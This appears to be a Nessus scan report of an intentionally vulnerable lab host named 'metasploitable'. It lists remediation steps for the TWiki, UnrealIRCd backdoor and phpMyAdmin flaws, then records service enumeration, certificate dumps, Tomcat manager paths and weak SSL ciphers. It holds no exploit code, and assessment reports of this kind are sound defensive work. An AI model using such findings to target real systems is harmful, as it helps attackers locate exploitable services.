[TWiki 'rev' Parameter Arbitrary Command Execution (19704)]

+ Action to take : Apply the appropriate hotfix referenced in the vendor advisory.

[UnrealIRCd Backdoor Detection (46882)]

+ Action to take : Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

[phpMyAdmin prior to 4.8.6 SQLi vulnerability (PMASA-2019-3) (125855)]

+ Action to take : Upgrade to phpMyAdmin version 4.8.6 or later.
Alternatively, apply the patches referenced in the vendor advisories.

+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).

Synopsis

The remote service supports encrypting traffic.

Description

The remote PostgreSQL server supports the use of encryption initiated during pre-login to switch from a cleartext to an encrypted communications channel.

See Also

<https://www.postgresql.org/docs/9.2/protocol-flow.html#AEN96066>

<https://www.postgresql.org/docs/9.2/protocol-message-formats.html>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/10/19, Modified: 2021/02/24

Plugin Output

tcp/5432/postgresql

```
Here is the PostgreSQL's SSL certificate that Nessus
was able to collect after sending a pre-login packet :
```

```
----- snip -----
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
             7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
             73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
             D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
             8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
             98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
             00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

----- snip ----- [...]
```

Synopsis

A database service is listening on the remote host.

Description

The remote service is a PostgreSQL database server, or a derivative such as EnterpriseDB.

See Also

<https://www.postgresql.org/>

Solution

Limit incoming traffic to this port if desired.

Risk Factor

None

Plugin Information

Published: 2007/09/14, Modified: 2020/11/10

Plugin Output

tcp/5432/postgresql

Synopsis

Some web pages require authentication.

Description

The remote web server requires HTTP authentication for the following pages. Several authentication schemes are available :

- Basic is the simplest, but the credentials are sent in cleartext.
- NTLM provides an SSO in a Microsoft environment, but it cannot be used on both the proxy and the web server. It is also weaker than Digest.
- Digest is a cryptographically strong scheme. Credentials are never sent in cleartext, although they may still be cracked by a dictionary attack.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/08/21, Modified: 2016/10/04

Plugin Output

tcp/8180/www

```
The following pages are protected by the Basic authentication scheme :
```

```
/host-manager/html  
/manager/html  
/manager/status
```

Synopsis

An RMI registry is listening on the remote host.

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>

<http://www.nessus.org/u?b6fd7659>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/08/16, Modified: 2020/02/24

Plugin Output

tcp/1099/rmi_registry
tcp/1099/rmi_registry

```
Valid response recieved for port 1099:
0x00:  51 AC ED 00 05 77 0F 01 E1 5B 0C D9 00 00 01 7D   Q....w...[.....}
0x10:  91 83 C3 7F 80 02 75 72 00 13 5B 4C 6A 61 76 61   .....ur..[Ljava
0x20:  2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56   .lang.String;..V
0x30:  E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00     ...{G...pXP....
```

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/111/rpc-portmapper

```
The following RPC services are available on TCP port 111 :  
- program: 100000 (portmapper), version: 2
```

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/111/rpc-portmapper

```
The following RPC services are available on UDP port 111 :  
- program: 100000 (portmapper), version: 2
```


Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/2049/rpc-nfs

```
The following RPC services are available on TCP port 2049 :
```

- program: 100003 (nfs), version: 2
- program: 100003 (nfs), version: 3
- program: 100003 (nfs), version: 4

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/2049/rpc-nfs

```
The following RPC services are available on UDP port 2049 :
```

- program: 100003 (nfs), version: 2
- program: 100003 (nfs), version: 3
- program: 100003 (nfs), version: 4

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/36670/rpc-mountd

```
The following RPC services are available on TCP port 36670 :
```

- program: 100005 (mountd), version: 1
- program: 100005 (mountd), version: 2
- program: 100005 (mountd), version: 3

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/38880/rpc-nlockmgr

```
The following RPC services are available on TCP port 38880 :
```

- program: 100021 (nlockmgr), version: 1
- program: 100021 (nlockmgr), version: 3
- program: 100021 (nlockmgr), version: 4

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/42867/rpc-status

```
The following RPC services are available on TCP port 42867 :  
- program: 100024 (status), version: 1
```

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/48214/rpc-mountd

```
The following RPC services are available on UDP port 48214 :
```

- program: 100005 (mountd), version: 1
- program: 100005 (mountd), version: 2
- program: 100005 (mountd), version: 3

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/56434/rpc-nlockmgr

```
The following RPC services are available on UDP port 56434 :
```

- program: 100021 (nlockmgr), version: 1
- program: 100021 (nlockmgr), version: 3
- program: 100021 (nlockmgr), version: 4

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/58453/rpc-status

```
The following RPC services are available on UDP port 58453 :  
- program: 100024 (status), version: 1
```


Synopsis

An ONC RPC portmapper is running on the remote host.

Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/04/08, Modified: 2011/08/29

Plugin Output

tcp/111/rpc-portmapper

10223 - RPC portmapper Service Detection

Synopsis

An ONC RPC portmapper is running on the remote host.

Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

Solution

n/a

Risk Factor

None

CVSS v3.0 Base Score

0.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

CVSS v2.0 Base Score

0.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:N)

References

CVE CVE-1999-0632

Plugin Information

Published: 1999/08/19, Modified: 2019/10/04

Plugin Output

udp/111/rpc-portmapper

Synopsis

An SMTP server is listening on the remote port.

Description

The remote host is running a mail (SMTP) server on this port.

Since SMTP servers are the targets of spammers, it is recommended you disable it if you do not use it.

Solution

Disable this service if you do not use it, or filter incoming traffic to this port.

Risk Factor

None

References

XREF IAVT:0001-T-0932

Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

Plugin Output

tcp/25/smtp

```
Remote SMTP server banner :  
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
```

Synopsis

The remote mail service supports encrypting traffic.

Description

The remote SMTP service supports the use of the 'STARTTLS' command to switch from a cleartext to an encrypted communications channel.

See Also

<https://en.wikipedia.org/wiki/STARTTLS>

<https://tools.ietf.org/html/rfc2487>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/09, Modified: 2019/03/20

Plugin Output

tcp/25/smtp

```
Here is the SMTP service's SSL certificate that Nessus was able to
collect after sending a 'STARTTLS' command :
```

```
----- snip -----
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
             7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
             73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
             D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
             8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
             98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
             00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

----- snip ----- [...]
```

Synopsis

An SSH server is listening on this port.

Description

This script detects which algorithms and languages are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/28, Modified: 2017/08/28

Plugin Output

tcp/22/ssh

```
Nessus negotiated the following encryption algorithm with the server :
```

```
The server supports the following options for kex_algorithms :
```

```
diffie-hellman-group-exchange-sha1
diffie-hellman-group-exchange-sha256
diffie-hellman-group1-sha1
diffie-hellman-group14-sha1
```

```
The server supports the following options for server_host_key_algorithms :
```

```
ssh-dss
ssh-rsa
```

```
The server supports the following options for encryption_algorithms_client_to_server :
```

```
3des-cbc
aes128-cbc
aes128-ctr
aes192-cbc
aes192-ctr
aes256-cbc
aes256-ctr
arcfour
arcfour128
arcfour256
blowfish-cbc
cast128-cbc
rijndael-cbc@lysator.liu.se
```

The server supports the following options for encryption_algorithms_server_to_client :

```
3des-cbc
aes128-cbc
aes128-ctr
aes192-cbc
aes192-ctr
aes256-cbc
aes256-ctr
arcfour
arcfour128
arcfour256
blowfish-cbc
cast128-cbc
rijndael-cbc@lysator.liu.se
```

The server supports the following options for mac_algorithms_client_to_server :

```
hmac-md5
hmac-md5-96
hmac-ripemd160
hmac-ripemd160@openssh.com
hmac-sha1
hmac-sha1-96
umac-64@openssh.com
```

The server supports the following options for mac_algorithms_server_to_client :

```
hmac-md5
hmac-md5-96
hmac-ripemd160
hmac-ripemd160@openssh.com
hmac-sha1
hmac-sha1-96
umac-64@openssh.com
```

The server supports the following options for compression_algorithms_client_to_server :

```
none
zlib@openssh.com
```

The server supports the following options for compression_algorithms_server_to_client :

```
none
zlib@openssh.com
```

Synopsis

The SSH server on the remote host accepts password authentication.

Description

The SSH server on the remote host accepts password authentication.

See Also

<https://tools.ietf.org/html/rfc4252#section-8>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/05/07, Modified: 2021/05/07

Plugin Output

tcp/22/ssh

10881 - SSH Protocol Versions Supported

Synopsis

A SSH server is running on the remote host.

Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/03/06, Modified: 2021/01/19

Plugin Output

tcp/22/ssh

```
The remote SSH daemon supports the following versions of the  
SSH protocol :
```

- 1.99
- 2.0

Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/09/23, Modified: 2021/09/23

Plugin Output

tcp/22/ssh

```
The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :
```

```
  hmac-sha1
  hmac-sha1-96
```

```
The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :
```

```
  hmac-sha1
  hmac-sha1-96
```

Synopsis

An SSH server is listening on this port.

Description

It is possible to obtain information about the remote SSH server by sending an empty authentication request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0933

Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

Plugin Output

tcp/22/ssh

```
SSH version : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
SSH supported authentication : publickey,password
```

Synopsis

The remote service encrypts communications.

Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/01, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
This port supports SSLv2/SSLv3/TLSv1.0.
```

Synopsis

The remote service encrypts communications.

Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/01, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
This port supports SSLv3/TLSv1.0.
```

45410 - SSL Certificate 'commonName' Mismatch

Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

Risk Factor

None

Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

Plugin Output

tcp/25/smtp

```
The host name known by Nessus is :
```

```
metasploitable
```

```
The Common Name in the certificate is :
```

```
ubuntu804-base.localdomain
```

45410 - SSL Certificate 'commonName' Mismatch

Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

Risk Factor

None

Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

Plugin Output

tcp/5432/postgresql

```
The host name known by Nessus is :
```

```
metasploitable
```

```
The Common Name in the certificate is :
```

```
ubuntu804-base.localdomain
```

Synopsis

This plugin displays the SSL certificate.

Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
```



```
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
            0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
            1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
            68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
            83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
            A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
            15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
                    83 0C 7A F1 E3 2D EE 43 6D E8 13 CC
SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]
```

Synopsis

This plugin displays the SSL certificate.

Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
```

```
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
            0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
            1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
            68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
            83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
            A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
            15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
                    83 0C 7A F1 E3 2D EE 43 6D E8 13 CC
SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]
```

Synopsis

The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones.

Description

The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

<http://www.nessus.org/u?cc4a822a>

<https://www.openssl.org/~bodo/tls-cbc.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/22, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

Here is the list of SSL CBC ciphers supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

| Name | Code | KEX | Auth | Encryption | MAC |
|-------------------------|------------------|----------|------|-------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| EXP-RC2-CBC-MD5 | 0x04, 0x00, 0x80 | RSA(512) | RSA | RC2-CBC(40) | MD5 |
| export | | | | | |
| EXP-EDH-RSA-DES-CBC-SHA | 0x00, 0x14 | DH(512) | RSA | DES-CBC(40) | |
| SHA1 export | | | | | |
| EDH-RSA-DES-CBC-SHA | 0x00, 0x15 | DH | RSA | DES-CBC(56) | |
| SHA1 | | | | | |
| EXP-ADH-DES-CBC-SHA | 0x00, 0x19 | DH(512) | None | DES-CBC(40) | |
| SHA1 export | | | | | |
| ADH-DES-CBC-SHA | 0x00, 0x1A | DH | None | DES-CBC(56) | |
| SHA1 | | | | | |

| | | | | | |
|--------------------------------|------------|----------|-----|-------------|-----|
| EXP-DES-CBC-SHA
SHA1 export | 0x00, 0x08 | RSA(512) | RSA | DES-CBC(40) | |
| EXP-RC2-CBC-MD5
export | 0x00, 0x06 | RSA(512) | RSA | RC2-CBC(40) | MD5 |
| DES-CBC-SHA
SHA1 | 0x00, 0x09 | RSA | RSA | DES-CBC(56) | |

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

| Name
----- | Code
----- | KEX
--- | Auth
---- | Encryption
----- | MAC
--- |
|------------------------------|------------------|------------|--------------|---------------------|------------|
| DES-CBC3-MD5 | 0x07, 0x00, 0xC0 | RSA | RSA | 3DES-CBC(168) | MD5 |
| EDH-RSA-DES-CBC3-SHA
SHA1 | 0x00, 0x16 | DH | RSA | 3DES-CBC(168) | |
| ADH-DES-CBC3-SHA
SHA1 | 0x00, 0x1B | DH | None | 3DES-CBC(168) | |
| DES-CBC3-SHA
SHA1 | 0x00, 0x0A | RSA | RSA | 3DES-CBC(168) | |

High Strength Ciphers (>= 112-bit key)

| Name
----- | Code
----- | KEX | Auth | Encryption | MAC |
|---------------|---------------|-----|------|------------|-----|
| | [...] | | | | |

Synopsis

The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones.

Description

The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

<http://www.nessus.org/u?cc4a822a>

<https://www.openssl.org/~bodo/tls-cbc.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/22, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

Here is the list of SSL CBC ciphers supported by the remote server :

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

| Name | Code | KEX | Auth | Encryption | MAC |
|----------------------|------------|-----|------|---------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| EDH-RSA-DES-CBC3-SHA | 0x00, 0x16 | DH | RSA | 3DES-CBC(168) | |
| SHA1 | | | | | |
| DES-CBC3-SHA | 0x00, 0x0A | RSA | RSA | 3DES-CBC(168) | |
| SHA1 | | | | | |

High Strength Ciphers (>= 112-bit key)

| Name | Code | KEX | Auth | Encryption | MAC |
|--------------------|------------|-----|------|--------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| DHE-RSA-AES128-SHA | 0x00, 0x33 | DH | RSA | AES-CBC(128) | |
| SHA1 | | | | | |

| | | | | |
|--------------------|------------|-----|-----|--------------|
| DHE-RSA-AES256-SHA | 0x00, 0x39 | DH | RSA | AES-CBC(256) |
| SHA1 | | | | |
| AES128-SHA | 0x00, 0x2F | RSA | RSA | AES-CBC(128) |
| SHA1 | | | | |
| AES256-SHA | 0x00, 0x35 | RSA | RSA | AES-CBC(256) |
| SHA1 | | | | |

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

Synopsis

The remote service encrypts communications using SSL.

Description

This plugin detects which SSL ciphers are supported by the remote service for encrypting communications.

See Also

<https://www.openssl.org/docs/man1.1.0/apps/ciphers.html>

<http://www.nessus.org/u?3a040ada>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/06/05, Modified: 2021/03/09

Plugin Output

tcp/25/smtp

```
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.
```

```
SSL Version : TLSv1
```

```
Low Strength Ciphers (<= 64-bit key)
```

| Name | Code | KEX | Auth | Encryption | MAC |
|-------------------------|------------|----------|------|-------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| EXP-EDH-RSA-DES-CBC-SHA | 0x00, 0x14 | DH(512) | RSA | DES-CBC(40) | |
| SHA1 export | | | | | |
| EDH-RSA-DES-CBC-SHA | 0x00, 0x15 | DH | RSA | DES-CBC(56) | |
| SHA1 | | | | | |
| EXP-ADH-DES-CBC-SHA | 0x00, 0x19 | DH(512) | None | DES-CBC(40) | |
| SHA1 export | | | | | |
| EXP-ADH-RC4-MD5 | 0x00, 0x17 | DH(512) | None | RC4(40) | MD5 |
| export | | | | | |
